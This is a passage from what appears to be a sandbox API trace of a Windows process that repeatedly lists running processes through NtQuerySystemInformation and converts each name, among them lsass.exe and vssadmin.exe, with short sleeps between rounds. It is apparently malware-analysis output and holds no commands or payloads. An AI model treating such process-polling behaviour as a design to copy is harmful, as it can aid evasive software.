AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e88 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf38 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d17f8 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1de0 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1ab8 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d17f8 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.184] Sleep (dwMilliseconds=0x64) [0180.393] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0180.393] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.394] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0180.394] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.394] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0180.394] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.394] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0180.394] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.394] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0180.394] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.395] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0180.395] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.395] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0180.395] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.395] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0180.395] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.395] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0180.395] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.396] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0180.396] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.396] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0180.396] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.396] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0180.396] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.396] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0180.396] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.397] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0180.397] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.397] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0180.397] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.397] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0180.397] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.398] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0180.398] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.398] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0180.398] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.398] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0180.398] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.399] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0180.399] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.399] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0180.399] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0180.399] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0180.399] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0580 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e40 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e28 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.400] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.400] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f04d0 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.401] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.401] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1de0 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc050 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d17f8 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e10 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1ab8 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ab8 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.402] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.402] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.403] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.403] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.403] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0180.403] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0180.403] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0180.403] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.403] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0180.403] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.403] Sleep (dwMilliseconds=0x64) [0180.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0180.619] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.620] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0180.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.620] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0180.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.620] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0180.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.620] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0180.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.620] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0180.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.621] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0180.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.621] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0180.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.621] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0180.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.621] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0180.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.622] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0180.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.622] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0180.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.622] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0180.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.622] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0180.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.623] RtlReAllocateHeap 